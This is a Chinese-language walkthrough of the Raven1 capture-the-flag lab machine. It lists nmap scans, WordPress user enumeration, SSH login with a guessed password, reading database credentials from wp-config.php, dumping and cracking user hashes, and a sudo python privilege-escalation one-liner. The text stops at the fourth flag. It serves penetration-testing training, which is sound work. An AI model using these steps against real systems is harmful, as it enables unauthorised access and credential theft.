Raven1渗透实战
目录:
1.wordpress爆破用户
2.wp-config得到数据库账号密码
3.ssh连接
4.pythn提权(sudo python -c 'import pty;pty.spawn("/bin/bash")')
主机发现与信息收集
arp-scan –l
nmap -sS -A -p- 192.168.8.127 –n
Web渗透实战
可以先修改一下hosts:
192.168.8.127 raven.local
进入web端,浓浓的wordpress风格
http://192.168.8.127/wordpress/
wordpress爆用户
小tips:http://192.168.8.127/wordpress/?author=n (n=1,2,3,4……)
http://192.168.8.127/wordpress/?author=1
出现用户: MICHAEL (michael)
找到后台 http://raven.local/wordpress/wp-login.php (michael登录失败)
dir爆目录
出现几个可疑的目录:
http://192.168.8.127/vendor
http://192.168.8.127/wordpress/
继续爆这几个关键目录:
看到pop3、phpmail和smtp就能想到应该和邮件有关的,应该是入口
在wordpress中罕见 http://192.168.8.127/service.html 并右键查看源代码
Get到第一个flag:
flag1{b9bbcb33e11b80be759c4e844862482d}
继续浏览爆出来的目录
http://192.168.8.127/vendor/PATH 暴露了系统路径,也许之后会用到
/var/www/html/vendor/
http://192.168.8.127/vendor/VERSION 暴露了版本信息 5.2.16
发现http://192.168.8.127/vendor/SECURITY.md 有提示
从爆出来的这些目录来看,无疑是在提示从phpmailer入手
这时想到了goldeneye中的pop3服务
Nmap扫出来的端口中没有pop3和smtp服务
只能从22端口ssh入手了
ssh登录
尝试登录ssh,用户名就用wordpress暴露的用户 michael,密码尝试用 michael
ssh michael@192.168.8.127
登录成功,果然提示有邮件mail,然而并没有邮件提示
直接全局搜flag
find / -name "*flag*" 2>/dev/null
cat /var/www/flag2.txt
get第二个flag:
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
常规提权
netstat –a
发现主机开启的端口和服务
在靶机的3306端口开启了mysql服务
进入wordpress目录,查看conf配置文件,查看数据库密码
vi wp-config.php
root / R@v3nSecurity
直接登录靶机的数据库
mysql -u root –p
进入wordpress数据中,发现wp_posts表,应该是post数据
select * from wp_posts;
发现了flag3和flag4:
flag3{afc01ab56b50591e7dccf93122770cd2}
flag4{715dea6c055b9fe3337544932f2941ce}
查看wordpress数据库中的users表
michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
md5解看看
steven 的密码为 pink84
michael的解不出来
拿去登录一下ssh试试
ssh steven@192.168.8.127
sudo –l
显示出当前用户的权限,发现可以运行python,直接python提权
sudo python -c 'import pty;pty.spawn("/bin/bash")'
得到第四个flag: